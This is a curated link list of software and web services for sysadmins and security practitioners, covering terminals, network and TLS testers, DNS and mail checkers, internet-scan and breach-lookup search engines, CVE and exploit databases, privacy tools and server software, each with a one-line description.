##### :black_small_square: Terminal emulators
<p>
:small_orange_diamond: <a href="https://github.com/Guake/guake"><b>Guake</b></a> - is a dropdown terminal made for the GNOME desktop environment.<br>
:small_orange_diamond: <a href="https://gnometerminator.blogspot.com/p/introduction.html"><b>Terminator</b></a> - is based on GNOME Terminal, useful features for sysadmins and other users.<br>
:small_orange_diamond: <a href="https://sw.kovidgoyal.net/kitty/"><b>Kitty</b></a> - is a GPU based terminal emulator that supports smooth scrolling and images.<br>
</p>
##### :black_small_square: Network
<p>
:small_orange_diamond: <a href="https://www.wireshark.org/"><b>Wireshark</b></a> - is the world’s foremost and widely-used network protocol analyzer.<br>
:small_orange_diamond: <a href="https://www.ettercap-project.org/"><b>Ettercap</b></a> - is a comprehensive network monitor tool.<br>
:small_orange_diamond: <a href="https://etherape.sourceforge.io/"><b>EtherApe</b></a> - is a graphical network monitoring solution.<br>
:small_orange_diamond: <a href="https://packetsender.com/"><b>Packet Sender</b></a> - is a networking utility for packet generation and built-in UDP/TCP/SSL client and servers.<br>
:small_orange_diamond: <a href="https://ostinato.org/"><b>Ostinato</b></a> - is a packet crafter and traffic generator.<br>
:small_orange_diamond: <a href="https://jmeter.apache.org/"><b>JMeter™</b></a> - open source software to load test functional behavior and measure performance.<br>
:small_orange_diamond: <a href="https://github.com/locustio/locust"><b>locust</b></a> - scalable user load testing tool written in Python.<br>
</p>
##### :black_small_square: Browsers
<p>
:small_orange_diamond: <a href="https://www.torproject.org/"><b>TOR Browser</b></a> - protect your privacy and defend yourself against network surveillance and traffic analysis.<br>
</p>
##### :black_small_square: Password Managers
<p>
:small_orange_diamond: <a href="https://keepassxc.org/"><b>KeePassXC</b></a> - store your passwords safely and auto-type them into your everyday websites and apps.<br>
:small_orange_diamond: <a href="https://www.enpass.io/"><b>Enpass</b></a> - password manager and secure wallet.<br>
</p>
##### :black_small_square: Messengers/IRC Clients
<p>
:small_orange_diamond: <a href="https://hexchat.github.io/index.html"><b>HexChat</b></a> - is an IRC client based on XChat.<br>
:small_orange_diamond: <a href="https://pidgin.im/"><b>Pidgin</b></a> - is an easy to use and free chat client used by millions.<br>
</p>
##### :black_small_square: Messengers (end-to-end encryption)
<p>
:small_orange_diamond: <a href="https://www.signal.org/"><b>Signal</b></a> - is an encrypted communications app.<br>
:small_orange_diamond: <a href="https://wire.com/en/"><b>Wire</b></a> - secure messaging, file sharing, voice calls and video conferences. All protected with end-to-end encryption.<br>
:small_orange_diamond: <a href="https://github.com/prof7bit/TorChat"><b>TorChat</b></a> - decentralized anonymous instant messenger on top of Tor Hidden Services.<br>
:small_orange_diamond: <a href="https://matrix.org/"><b>Matrix</b></a> - an open network for secure, decentralized, real-time communication.<br>
</p>
##### :black_small_square: Text editors
<p>
:small_orange_diamond: <a href="https://www.sublimetext.com/3"><b>Sublime Text</b></a> - is a lightweight, cross-platform code editor known for its speed, ease of use.<br>
:small_orange_diamond: <a href="https://code.visualstudio.com/"><b>Visual Studio Code</b></a> - an open-source and free source code editor developed by Microsoft.<br>
:small_orange_diamond: <a href="https://atom.io/"><b>Atom</b></a> - a hackable text editor for the 21st Century.<br>
</p>
#### Web Tools [<sup>[TOC]</sup>](#anger-table-of-contents)
##### :black_small_square: Browsers
<p>
:small_orange_diamond: <a href="https://www.ssllabs.com/ssltest/viewMyClient.html"><b>SSL/TLS Capabilities of Your Browser</b></a> - test your browser's SSL implementation.<br>
:small_orange_diamond: <a href="https://caniuse.com/"><b>Can I use</b></a> - provides up-to-date browser support tables for support of front-end web technologies.<br>
:small_orange_diamond: <a href="https://panopticlick.eff.org/"><b>Panopticlick 3.0</b></a> - is your browser safe against tracking?<br>
:small_orange_diamond: <a href="https://privacy.net/analyzer/"><b>Privacy Analyzer</b></a> - see what data is exposed from your browser.<br>
:small_orange_diamond: <a href="https://browserleaks.com/"><b>Web Browser Security</b></a> - it's all about Web Browser fingerprinting.<br>
:small_orange_diamond: <a href="https://www.howsmyssl.com/"><b>How's My SSL?</b></a> - help a web server developer learn what real world TLS clients were capable of.<br>
:small_orange_diamond: <a href="https://suche.org/sslClientInfo"><b>sslClientInfo</b></a> - client test (incl TLSv1.3 information).<br>
</p>
##### :black_small_square: SSL/Security
<p>
:small_orange_diamond: <a href="https://www.ssllabs.com/ssltest/"><b>SSLLabs Server Test</b></a> - performs a deep analysis of the configuration of any SSL web server.<br>
:small_orange_diamond: <a href="https://dev.ssllabs.com/ssltest/"><b>SSLLabs Server Test (DEV)</b></a> - performs a deep analysis of the configuration of any SSL web server.<br>
:small_orange_diamond: <a href="https://www.immuniweb.com/ssl/"><b>ImmuniWeb® SSLScan</b></a> - test SSL/TLS (PCI DSS, HIPAA and NIST).<br>
:small_orange_diamond: <a href="https://www.jitbit.com/sslcheck/"><b>SSL Check</b></a> - scan your website for non-secure content.<br>
:small_orange_diamond: <a href="http://www.ssltools.com"><b>SSL Scanner</b></a> - analyze website security.<br>
:small_orange_diamond: <a href="https://cryptcheck.fr/"><b>CryptCheck</b></a> - test your TLS server configuration (e.g. ciphers).<br>
:small_orange_diamond: <a href="https://urlscan.io/"><b>urlscan.io</b></a> - service to scan and analyse websites.<br>
:small_orange_diamond: <a href="https://report-uri.com/home/tools"><b>Report URI</b></a> - monitoring security policies like CSP and HPKP.<br>
:small_orange_diamond: <a href="https://csp-evaluator.withgoogle.com/"><b>CSP Evaluator</b></a> - allows developers and security experts to check if a Content Security Policy.<br>
:small_orange_diamond: <a href="https://uselesscsp.com/"><b>Useless CSP</b></a> - public list about CSP in some big players (might make them care a bit more).<br>
:small_orange_diamond: <a href="https://whynohttps.com/"><b>Why No HTTPS?</b></a> - top 100 websites by Alexa rank not automatically redirecting insecure requests.<br>
:small_orange_diamond: <a href="https://ciphersuite.info/"><b>TLS Cipher Suite Search</b></a><br>
:small_orange_diamond: <a href="https://github.com/RaymiiOrg/cipherli.st"><b>cipherli.st</b></a> - strong ciphers for Apache, Nginx, Lighttpd, and more.<b>*</b><br>
:small_orange_diamond: <a href="https://2ton.com.au/dhtool/"><b>dhtool</b></a> - public Diffie-Hellman parameter service/tool.<br>
:small_orange_diamond: <a href="https://badssl.com/"><b>badssl.com</b></a> - memorable site for testing clients against bad SSL configs.<br>
:small_orange_diamond: <a href="https://tlsfun.de/"><b>tlsfun.de</b></a> - registered for various tests regarding the TLS/SSL protocol.<br>
:small_orange_diamond: <a href="https://sslmate.com/caa/"><b>CAA Record Helper</b></a> - generate a CAA policy.<br>
:small_orange_diamond: <a href="https://ccadb.org/resources"><b>Common CA Database</b></a> - repository of information about CAs, and their root and intermediate certificates.<br>
:small_orange_diamond: <a href="https://certstream.calidog.io/"><b>CERTSTREAM</b></a> - real-time certificate transparency log update stream.<br>
:small_orange_diamond: <a href="https://crt.sh/"><b>crt.sh</b></a> - discovers certificates by continually monitoring all of the publicly known CT.<br>
:small_orange_diamond: <a href="https://www.hardenize.com/"><b>Hardenize</b></a> - deploy the security standards.<br>
:small_orange_diamond: <a href="https://cryptcheck.fr/suite/"><b>Cipher suite compatibility</b></a> - test TLS cipher suite compatibility.<br>
:small_orange_diamond: <a href="https://www.urlvoid.com/"><b>urlvoid</b></a> - this service helps you detect potentially malicious websites.<br>
:small_orange_diamond: <a href="https://securitytxt.org/"><b>security.txt</b></a> - a proposed standard (generator) which allows websites to define security policies.<br>
:small_orange_diamond: <a href="https://github.com/mozilla/ssl-config-generator"><b>ssl-config-generator</b></a> - help you follow the Mozilla Server Side TLS configuration guidelines.<br>
</p>
##### :black_small_square: HTTP Headers & Web Linters
<p>
:small_orange_diamond: <a href="https://securityheaders.com/"><b>Security Headers</b></a> - analyse the HTTP response headers (with rating system to the results).<br>
:small_orange_diamond: <a href="https://observatory.mozilla.org/"><b>Observatory by Mozilla</b></a> - set of tools to analyze your website.<br>
:small_orange_diamond: <a href="https://webhint.io/"><b>webhint</b></a> - is a linting tool that will help you with your site's accessibility, speed, security, and more.<br>
</p>
##### :black_small_square: DNS
<p>
:small_orange_diamond: <a href="http://viewdns.info/"><b>ViewDNS</b></a> - one source for free DNS related tools and information.<br>
:small_orange_diamond: <a href="https://dnslookup.org/"><b>DNSLookup</b></a> - is an advanced DNS lookup tool.<br>
:small_orange_diamond: <a href="https://dnslytics.com/"><b>DNSlytics</b></a> - online DNS investigation tool.<br>
:small_orange_diamond: <a href="https://dnsspy.io/"><b>DNS Spy</b></a> - monitor, validate and verify your DNS configurations.<br>
:small_orange_diamond: <a href="https://zonemaster.iis.se/en/"><b>Zonemaster</b></a> - helps you to control how your DNS works.<br>
:small_orange_diamond: <a href="http://leafdns.com/"><b>Leaf DNS</b></a> - comprehensive DNS tester.<br>
:small_orange_diamond: <a href="https://findsubdomains.com/"><b>Find subdomains online</b></a> - find subdomains for security assessment penetration test.<br>
:small_orange_diamond: <a href="https://dnsdumpster.com/"><b>DNSdumpster</b></a> - dns recon & research, find & lookup dns records.<br>
:small_orange_diamond: <a href="https://dnstable.com/"><b>DNS Table online</b></a> - search for DNS records by domain, IP, CIDR, ISP.<br>
:small_orange_diamond: <a href="https://intodns.com/"><b>intoDNS</b></a> - DNS and mail server health checker.<br>
:small_orange_diamond: <a href="http://www.zonecut.net/dns/"><b>DNS Bajaj</b></a> - check the delegation of your domain.<br>
:small_orange_diamond: <a href="https://www.buddyns.com/delegation-lab/"><b>BuddyDNS Delegation LAB</b></a> - check, trace and visualize delegation of your domain.<br>
:small_orange_diamond: <a href="https://dnssec-debugger.verisignlabs.com/"><b>dnssec-debugger</b></a> - DS or DNSKEY records validator.<br>
:small_orange_diamond: <a href="http://ptrarchive.com/"><b>PTRarchive.com</b></a> - this site is responsible for the safekeeping of historical reverse DNS records.<br>
:small_orange_diamond: <a href="http://xip.io/"><b>xip.io</b></a> - wildcard DNS for everyone.<br>
:small_orange_diamond: <a href="https://ceipam.eu/en/dnslookup.php"><b>dnslookup (ceipam)</b></a> - one of the best DNS propagation checker (and not only).<br>
:small_orange_diamond: <a href="https://whatsmydns.com"><b>What's My DNS</b></a> - DNS propagation checking tool.<br>
:small_orange_diamond: <a href="https://blog.erbbysam.com/index.php/2019/02/09/dnsgrep/"><b>DNSGrep</b></a> - quickly searching large DNS datasets.<br>
</p>
##### :black_small_square: Mail
<p>
:small_orange_diamond: <a href="https://luxsci.com/smtp-tls-checker"><b>smtp-tls-checker</b></a> - check an email domain for SMTP TLS support.<br>
:small_orange_diamond: <a href="https://mxtoolbox.com/SuperTool.aspx"><b>MX Toolbox</b></a> - all of your MX record, DNS, blacklist and SMTP diagnostics in one integrated tool.<br>
:small_orange_diamond: <a href="https://www.checktls.com/index.html"><b>Secure Email</b></a> - complete email test tools for email technicians.<br>
:small_orange_diamond: <a href="http://www.blacklistalert.org/"><b>blacklistalert</b></a> - checks to see if your domain is on a Real Time Spam Blacklist.<br>
:small_orange_diamond: <a href="http://multirbl.valli.org/"><b>MultiRBL</b></a> - complete IP check for sending Mailservers.<br>
:small_orange_diamond: <a href="https://dkimvalidator.com/"><b>DKIM SPF & Spam Assassin Validator</b></a> - checks mail authentication and scores messages with Spam Assassin.<br>
</p>
##### :black_small_square: Encoders/Decoders and Regex testing
<p>
:small_orange_diamond: <a href="https://www.url-encode-decode.com/"><b>URL Encode/Decode</b></a> - tool from above to either encode or decode a string of text.<br>
:small_orange_diamond: <a href="https://uncoder.io/"><b>Uncoder</b></a> - the online translator for search queries on log data.<br>
:small_orange_diamond: <a href="https://regex101.com/"><b>Regex101</b></a> - online regex tester and debugger: PHP, PCRE, Python, Golang and JavaScript.<br>
:small_orange_diamond: <a href="https://regexr.com/"><b>RegExr</b></a> - online tool to learn, build, & test Regular Expressions (RegEx / RegExp).<br>
:small_orange_diamond: <a href="https://www.regextester.com/"><b>RegEx Testing</b></a> - online regex testing tool.<br>
:small_orange_diamond: <a href="https://www.regexpal.com/"><b>RegEx Pal</b></a> - online regex testing tool + other tools.<br>
:small_orange_diamond: <a href="https://gchq.github.io/CyberChef/"><b>The Cyber Swiss Army Knife</b></a> - a web app for encryption, encoding, compression and data analysis.<br>
</p>
##### :black_small_square: Net-tools
<p>
:small_orange_diamond: <a href="https://toolbar.netcraft.com/site_report"><b>Netcraft</b></a> - detailed report about the site, helping you to make informed choices about their integrity.<b>*</b><br>
:small_orange_diamond: <a href="https://atlas.ripe.net/"><b>RIPE NCC Atlas</b></a> - a global, open, distributed Internet measurement platform.<br>
:small_orange_diamond: <a href="https://www.robtex.com/"><b>Robtex</b></a> - uses various sources to gather public information about IP numbers, domain names, host names, etc.<br>
:small_orange_diamond: <a href="https://securitytrails.com/"><b>Security Trails</b></a> - APIs for Security Companies, Researchers and Teams.<br>
:small_orange_diamond: <a href="https://tools.keycdn.com/curl"><b>Online Curl</b></a> - curl test, analyze HTTP Response Headers.<br>
:small_orange_diamond: <a href="https://extendsclass.com/"><b>Online Tools for Developers</b></a> - HTTP API tools, testers, encoders, converters, formatters, and other tools.<br>
:small_orange_diamond: <a href="https://ping.eu/"><b>Ping.eu</b></a> - online Ping, Traceroute, DNS lookup, WHOIS and others.<br>
:small_orange_diamond: <a href="https://network-tools.com/"><b>Network-Tools</b></a> - network tools for webmasters, IT technicians & geeks.<br>
:small_orange_diamond: <a href="https://bgpview.io/"><b>BGPview</b></a> - search for any ASN, IP, Prefix or Resource name.<br>
:small_orange_diamond: <a href="https://isbgpsafeyet.com/"><b>Is BGP safe yet?</b></a> - check BGP (RPKI) security of ISPs and other major Internet players.<br>
:small_orange_diamond: <a href="https://riseup.net/"><b>Riseup</b></a> - provides online communication tools for people and groups working on liberatory social change.<br>
:small_orange_diamond: <a href="https://www.virustotal.com/gui/home/upload"><b>VirusTotal</b></a> - analyze suspicious files and URLs to detect types of malware.<br>
</p>
##### :black_small_square: Privacy
<p>
:small_orange_diamond: <a href="https://www.privacytools.io/"><b>privacytools.io</b></a> - provides knowledge and tools to protect your privacy against global mass surveillance.<br>
:small_orange_diamond: <a href="https://dnsprivacy.org/wiki/display/DP/DNS+Privacy+Test+Servers"><b>DNS Privacy Test Servers</b></a> - DNS privacy recursive servers list (with a 'no logging' policy).<br>
</p>
##### :black_small_square: Code parsers/playgrounds
<p>
:small_orange_diamond: <a href="https://www.shellcheck.net/"><b>ShellCheck</b></a> - finds bugs in your shell scripts.<br>
:small_orange_diamond: <a href="https://explainshell.com/"><b>explainshell</b></a> - get interactive help texts for shell commands.<br>
:small_orange_diamond: <a href="https://jsbin.com/?html,output"><b>jsbin</b></a> - live pastebin for HTML, CSS & JavaScript, and more.<br>
:small_orange_diamond: <a href="https://codesandbox.io/"><b>CodeSandbox</b></a> - online code editor for web application development.<br>
:small_orange_diamond: <a href="http://sandbox.onlinephpfunctions.com/"><b>PHP Sandbox</b></a> - test your PHP code with this code tester.<br>
:small_orange_diamond: <a href="https://www.repl.it/"><b>Repl.it</b></a> - an instant IDE to learn, build, collaborate, and host all in one place.<br>
:small_orange_diamond: <a href="http://www.vclfiddle.net/"><b>vclFiddle</b></a> - is an online tool for experimenting with the Varnish Cache VCL.<br>
</p>
##### :black_small_square: Performance
<p>
:small_orange_diamond: <a href="https://gtmetrix.com/"><b>GTmetrix</b></a> - analyze your site’s speed and make it faster.<br>
:small_orange_diamond: <a href="https://performance.sucuri.net/"><b>Sucuri loadtimetester</b></a> - test here the
performance of any of your sites from across the globe.<br>
:small_orange_diamond: <a href="https://tools.pingdom.com/"><b>Pingdom Tools</b></a> - analyze your site’s speed around the world.<br>
:small_orange_diamond: <a href="https://pingme.io/"><b>PingMe.io</b></a> - run website latency tests across multiple geographic regions.<br>
:small_orange_diamond: <a href="https://developers.google.com/speed/pagespeed/insights/"><b>PageSpeed Insights</b></a> - analyze your site’s speed and make it faster.<br>
:small_orange_diamond: <a href="https://web.dev/"><b>web.dev</b></a> - helps developers like you learn and apply the web's modern capabilities to your own sites and apps.<br>
:small_orange_diamond: <a href="https://github.com/GoogleChrome/lighthouse"><b>Lighthouse</b></a> - automated auditing, performance metrics, and best practices for the web.<br>
</p>
##### :black_small_square: Mass scanners (search engines)
<p>
:small_orange_diamond: <a href="https://censys.io/"><b>Censys</b></a> - platform that helps information security practitioners discover, monitor, and analyze devices.<br>
:small_orange_diamond: <a href="https://www.shodan.io/"><b>Shodan</b></a> - the world's first search engine for Internet-connected devices.<br>
:small_orange_diamond: <a href="https://2000.shodan.io/#/"><b>Shodan 2000</b></a> - do you use Shodan for everyday work? This tool looks for randomly generated data from Shodan.<br>
:small_orange_diamond: <a href="https://viz.greynoise.io/table"><b>GreyNoise</b></a> - mass scanner such as Shodan and Censys.<br>
:small_orange_diamond: <a href="https://www.zoomeye.org/"><b>ZoomEye</b></a> - search engine for cyberspace that lets the user find specific network components.<br>
:small_orange_diamond: <a href="https://netograph.io/"><b>netograph</b></a> - tools to monitor and understand deep structure of the web.<br>
:small_orange_diamond: <a href="https://fofa.so/"><b>FOFA</b></a> - is a cyberspace search engine.<br>
:small_orange_diamond: <a href="https://www.onyphe.io/"><b>onyphe</b></a> - is a search engine for open-source and cyber threat intelligence data collected.<br>
:small_orange_diamond: <a href="https://intelx.io/"><b>IntelligenceX</b></a> - is a search engine and data archive.<br>
:small_orange_diamond: <a href="https://app.binaryedge.io/"><b>binaryedge</b></a> - it scan the entire internet space and create real-time threat intelligence streams and reports.<br>
:small_orange_diamond: <a href="https://wigle.net/"><b>wigle</b></a> - is a submission-based catalog of wireless networks. All the networks. Found by Everyone.<br>
:small_orange_diamond: <a href="https://publicwww.com/"><b>PublicWWW</b></a> - find any alphanumeric snippet, signature or keyword in the web pages HTML, JS and CSS code.<br>
:small_orange_diamond: <a href="https://inteltechniques.com/index.html"><b>IntelTechniques</b></a> - this repository contains hundreds of online search utilities.<br>
:small_orange_diamond: <a href="https://hunter.io/"><b>hunter</b></a> - lets you find email addresses in seconds and connect with the people that matter for your business.<br>
:small_orange_diamond: <a href="https://ghostproject.fr/"><b>GhostProject?</b></a> - search by full email address or username.<br>
:small_orange_diamond: <a href="https://www.databreaches.live/"><b>databreaches</b></a> - was my email affected by data breach?<br>
:small_orange_diamond: <a href="https://weleakinfo.com"><b>We Leak Info</b></a> - world's fastest and largest data breach search engine.<br>
:small_orange_diamond: <a href="https://pulsedive.com/"><b>Pulsedive</b></a> - scans of malicious URLs, IPs, and domains, including port scans and web requests.<br>
:small_orange_diamond: <a href="https://buckets.grayhatwarfare.com/"><b>Buckets by Grayhatwarfar</b></a> - database with public search for Open Amazon S3 Buckets and their contents.<br>
:small_orange_diamond: <a href="https://vigilante.pw/"><b>Vigilante.pw</b></a> - the breached database directory.<br>
:small_orange_diamond: <a href="https://builtwith.com/"><b>builtwith</b></a> - find out what websites are built with.<br>
:small_orange_diamond: <a href="https://nerdydata.com/"><b>NerdyData</b></a> - search the web's source code for technologies, across millions of sites.<br>
:small_orange_diamond: <a href="https://www.mmnt.net/"><b>Mamont's open FTP Index</b></a> - if a target has an open FTP site with accessible content it will be listed here.<br>
:small_orange_diamond: <a href="https://osintframework.com/"><b>OSINT Framework</b></a> - focused on gathering information from free tools or resources.<br>
:small_orange_diamond: <a href="https://www.maltiverse.com/search"><b>maltiverse</b></a> - is a service oriented to cybersecurity analysts for the advanced analysis of indicators of compromise.<br>
:small_orange_diamond: <a href="https://leakedsource.ru/main/"><b>Leaked Source</b></a> - is a collaboration of data found online in the form of a lookup.<br>
:small_orange_diamond: <a href="https://search.weleakinfo.com/"><b>We Leak Info</b></a> - to help everyday individuals secure their online life, avoiding getting hacked.<br>
:small_orange_diamond: <a href="https://pipl.com/"><b>pipl</b></a> - is the place to find the person behind the email address, social username or phone number.<br>
:small_orange_diamond: <a href="https://abuse.ch/"><b>abuse.ch</b></a> - is operated by a random swiss guy fighting malware for non-profit.<br>
:small_orange_diamond: <a href="http://malc0de.com/database/"><b>malc0de</b></a> - malware search engine.<br>
:small_orange_diamond: <a href="https://cybercrime-tracker.net/index.php"><b>Cybercrime Tracker</b></a> - monitors and tracks various malware families that are used to perpetrate cyber crimes.<br>
:small_orange_diamond: <a href="https://github.com/eth0izzle/shhgit/"><b>shhgit</b></a> - find GitHub secrets in real time.<br>
:small_orange_diamond: <a href="https://searchcode.com/"><b>searchcode</b></a> - helping you find real world examples of functions, API's and libraries.<br>
:small_orange_diamond: <a href="http://www.insecam.org/"><b>Insecam</b></a> - the world biggest directory of online surveillance security cameras.<br>
:small_orange_diamond: <a href="http://index-of.es/"><b>index-of</b></a> - contains great stuff like: security, hacking, reverse engineering, cryptography, programming etc.<br>
:small_orange_diamond: <a href="https://opendata.rapid7.com/"><b>Rapid7 Labs Open Data</b></a> - is a great resources of datasets from Project Sonar.<br>
:small_orange_diamond: <a href="https://webtechsurvey.com/common-response-headers"><b>Common Response Headers</b></a> - the largest database of HTTP response headers.<br>
</p>
##### :black_small_square: Generators
<p>
:small_orange_diamond: <a href="https://thispersondoesnotexist.com/"><b>thispersondoesnotexist</b></a> - generate fake faces in one click - endless possibilities.<br>
:small_orange_diamond: <a href="https://generated.photos"><b>AI Generated Photos</b></a> - 100.000 AI generated faces.<br>
:small_orange_diamond: <a href="https://fakeface.co/"><b>fakeface</b></a> - fake faces browser.<br>
:small_orange_diamond: <a href="https://tools.intigriti.io/redirector/"><b>Intigriti Redirector</b></a> - open redirect/SSRF payload generator.<br>
</p>
##### :black_small_square: Passwords
<p>
:small_orange_diamond: <a href="https://haveibeenpwned.com/"><b>have i been pwned?</b></a> - check if you have an account that has been compromised in a data breach.<br>
:small_orange_diamond: <a href="https://www.dehashed.com/"><b>dehashed</b></a> - is a hacked database search engine.<br>
:small_orange_diamond: <a href="https://leakedsource.ru/"><b>Leaked Source</b></a> - is a collaboration of data found online in the form of a lookup.<br>
</p>
##### :black_small_square: CVE/Exploits databases
<p>
:small_orange_diamond: <a href="https://cve.mitre.org/"><b>CVE Mitre</b></a> - list of publicly known cybersecurity vulnerabilities.<br>
:small_orange_diamond: <a href="https://www.cvedetails.com/"><b>CVE Details</b></a> - CVE security vulnerability advanced database.<br>
:small_orange_diamond: <a href="https://www.exploit-db.com/"><b>Exploit DB</b></a> - CVE compliant archive of public exploits and corresponding vulnerable software.<br>
:small_orange_diamond: <a href="https://0day.today/"><b>0day.today</b></a> - exploits market provides you the possibility to buy zero-day exploits and also to sell 0day exploits.<br>
:small_orange_diamond: <a href="https://sploitus.com/"><b>sploitus</b></a> - the exploit and tools database.<br>
:small_orange_diamond: <a href="https://cxsecurity.com/exploit/"><b>cxsecurity</b></a> - free vulnerability database.<br>
:small_orange_diamond: <a href="https://www.vulncode-db.com/"><b>Vulncode-DB</b></a> - is a database for vulnerabilities and their corresponding source code if available.<br>
:small_orange_diamond: <a href="https://cveapi.com/"><b>cveapi</b></a> - free API for CVE data.<br>
</p>
##### :black_small_square: Mobile apps scanners
<p>
:small_orange_diamond: <a href="https://www.immuniweb.com/mobile/"><b>ImmuniWeb® Mobile App Scanner</b></a> - test security and privacy of mobile apps (iOS & Android).<br>
:small_orange_diamond: <a href="https://vulnerabilitytest.quixxi.com/"><b>Quixxi</b></a> - free Mobile App Vulnerability Scanner for Android & iOS.<br>
:small_orange_diamond: <a href="https://www.ostorlab.co/scan/mobile/"><b>Ostorlab</b></a> - analyzes mobile application to identify vulnerabilities and potential weaknesses.<br>
</p>
##### :black_small_square: Private Search Engines
<p>
:small_orange_diamond: <a href="https://www.startpage.com/"><b>Startpage</b></a> - the world's most private search engine.<br>
:small_orange_diamond: <a href="https://searx.me/"><b>searX</b></a> - a privacy-respecting, hackable metasearch engine.<br>
:small_orange_diamond: <a href="https://darksearch.io/"><b>darksearch</b></a> - the 1st real Dark Web search engine.<br>
:small_orange_diamond: <a href="https://www.qwant.com/"><b>Qwant</b></a> - the search engine that respects your privacy.<br>
:small_orange_diamond: <a href="https://duckduckgo.com/"><b>DuckDuckGo</b></a> - the search engine that doesn't track you.<br>
:small_orange_diamond: <a href="https://swisscows.com/"><b>Swisscows</b></a> - privacy safe web search<br>
:small_orange_diamond: <a href="https://search.disconnect.me/"><b>Disconnect</b></a> - the search engine that anonymizes your searches.<br>
:small_orange_diamond: <a href="https://metager.org/"><b>MetaGer</b></a> - the search engine that uses anonymous proxy and hidden Tor branches.<br>
</p>
##### :black_small_square: Secure Webmail Providers
<p>
:small_orange_diamond: <a href="https://countermail.com/"><b>CounterMail</b></a> - online email service, designed to provide maximum security and privacy.<br>
:small_orange_diamond: <a href="http://mail2tor.com/"><b>Mail2Tor</b></a> - is a Tor Hidden Service that allows anyone to send and receive emails anonymously.<br>
:small_orange_diamond: <a href="https://tutanota.com/"><b>Tutanota</b></a> - is the world's most secure email service and amazingly easy to use.<br>
:small_orange_diamond: <a href="https://protonmail.com/"><b>Protonmail</b></a> - is the world's largest secure email service, developed by CERN and MIT scientists.<br>
:small_orange_diamond: <a href="https://www.startmail.com/en/"><b>Startmail</b></a> - private & encrypted email made easy.<br>
</p>
##### :black_small_square: Crypto
<p>
:small_orange_diamond: <a href="https://keybase.io/"><b>Keybase</b></a> - it's open source and powered by public-key cryptography.<br>
</p>
##### :black_small_square: PGP Keyservers
<p>
:small_orange_diamond: <a href="https://keyserver.ubuntu.com/"><b>SKS OpenPGP Key server</b></a> - services for the SKS keyservers used by OpenPGP.<br>
</p>
#### Systems/Services [<sup>[TOC]</sup>](#anger-table-of-contents)
##### :black_small_square: Operating Systems
<p>
:small_orange_diamond: <a href="http://www.slackware.com/"><b>Slackware</b></a> - the most "Unix-like" Linux distribution.<br>
:small_orange_diamond: <a href="https://www.openbsd.org/"><b>OpenBSD</b></a> - multi-platform 4.4BSD-based UNIX-like operating system.<br>
:small_orange_diamond: <a href="https://hardenedbsd.org/"><b>HardenedBSD</b></a> - HardenedBSD aims to implement innovative exploit mitigation and security solutions.<br>
:small_orange_diamond: <a href="https://www.kali.org/"><b>Kali Linux</b></a> - Linux distribution used for Penetration Testing, Ethical Hacking and network security assessments.<br>
:small_orange_diamond: <a href="https://www.parrotsec.org/"><b>Parrot Security OS</b></a> - cyber security GNU/Linux environment.<br>
:small_orange_diamond: <a href="https://www.backbox.org/"><b>Backbox Linux</b></a> - penetration test and security assessment oriented Ubuntu-based Linux distribution.<br>
:small_orange_diamond: <a href="https://blackarch.org/"><b>BlackArch</b></a> - is an Arch Linux-based penetration testing distribution for penetration testers.<br>
:small_orange_diamond: <a href="https://www.pentoo.ch/"><b>Pentoo</b></a> - is a security-focused livecd based on Gentoo.<br>
:small_orange_diamond: <a href="https://securityonion.net/"><b>Security Onion</b></a> - Linux distro for intrusion detection, enterprise security monitoring, and log management.<br>
:small_orange_diamond: <a href="https://tails.boum.org/"><b>Tails</b></a> - is a live system that aims to preserve your privacy and anonymity.<br>
:small_orange_diamond: <a href="https://github.com/vedetta-com/vedetta"><b>vedetta</b></a> - OpenBSD router boilerplate.<br>
:small_orange_diamond: <a href="https://www.qubes-os.org"><b>Qubes OS</b></a> - is a security-oriented OS that uses Xen-based virtualization.<br>
</p>
##### :black_small_square: HTTP(s) Services
<p>
:small_orange_diamond: <a href="https://varnish-cache.org/"><b>Varnish Cache</b></a> - HTTP accelerator designed for content-heavy dynamic web sites.<br>
:small_orange_diamond: <a href="https://nginx.org/"><b>Nginx</b></a> - open source web and reverse proxy server that is similar to Apache, but very light weight.<br>
:small_orange_diamond: <a href="https://openresty.org/en/"><b>OpenResty</b></a> - is a dynamic web platform based on NGINX and LuaJIT.<br>
:small_orange_diamond: <a href="https://github.com/alibaba/tengine"><b>Tengine</b></a> - a distribution of Nginx with some advanced features.<br>
:small_orange_diamond: <a href="https://caddyserver.com/"><b>Caddy Server</b></a> - is an open source, HTTP/2-enabled web server with HTTPS by default.<br>
:small_orange_diamond: <a href="https://www.haproxy.org/"><b>HAProxy</b></a> - the reliable, high performance TCP/HTTP load balancer.<br>
</p>
##### :black_small_square: DNS Services
<p>
:small_orange_diamond: <a href="https://nlnetlabs.nl/projects/unbound/about/"><b>Unbound</b></a> - validating, recursive, and caching DNS resolver (with TLS).<br>
:small_orange_diamond: <a href="https://www.knot-resolver.cz/"><b>Knot Resolver</b></a> - caching full resolver implementation, including both a resolver library and a daemon.<br>
:small_orange_diamond: <a href="https://www.powerdns.com/"><b>PowerDNS</b></a> - is an open source authoritative DNS server, written in C++ and licensed under the GPL.<br>
</p>
##### :black_small_square: Other Services
<p>
:small_orange_diamond: <a href="https://github.com/z3APA3A/3proxy"><b>3proxy</b></a> - tiny free proxy server.<br>
</p>
##### :black_small_square: Security/hardening
<p>
:small_orange_diamond: <a href="https://twitter.com/EmeraldOnion"><b>Emerald Onion</b></a> - is a 501(c)(3) nonprofit organization and transit internet service provider (ISP) based in Seattle.<br>
:small_orange_diamond: <a href="https://github.com/pi-hole/pi-hole"><b>pi-hole</b></a> - the Pi-hole® is a DNS sinkhole that protects your devices from unwanted content.<br>
:small_orange_diamond: <a href="https://github.com/stamparm/maltrail"><b>maltrail</b></a> - malicious traffic detection system.<br>
:small_orange_diamond: <a href="https://github.com/Netflix/security_monkey"><b>security_monkey</b></a> - monitors AWS, GCP, OpenStack, and GitHub orgs for assets and their changes over time.<br>
:small_orange_diamond: <a href="https://github.com/firecracker-microvm/firecracker"><b>firecracker</b></a> - secure and fast microVMs for serverless computing.<br>
:small_orange_diamond: <a href="https://github.com/StreisandEffect/streisand"><b>streisand</b></a> - sets up a new server running your choice of WireGuard, OpenSSH, OpenVPN, and more.<br>
</p>
#### Networks [<sup>[TOC]</sup>](#anger-table-of-contents)
##### :black_small_square: Tools
<p>
:small_orange_diamond: <a href="https://www.capanalysis.net/ca/"><b>CapAnalysis</b></a> - web visual tool to analyze large amounts of captured network traffic (PCAP analyzer).<br>
:small_orange_diamond: <a href="https://github.com/digitalocean/netbox"><b>netbox</b></a> - IP address management (IPAM) and data center infrastructure management (DCIM) tool.<br>
</p>
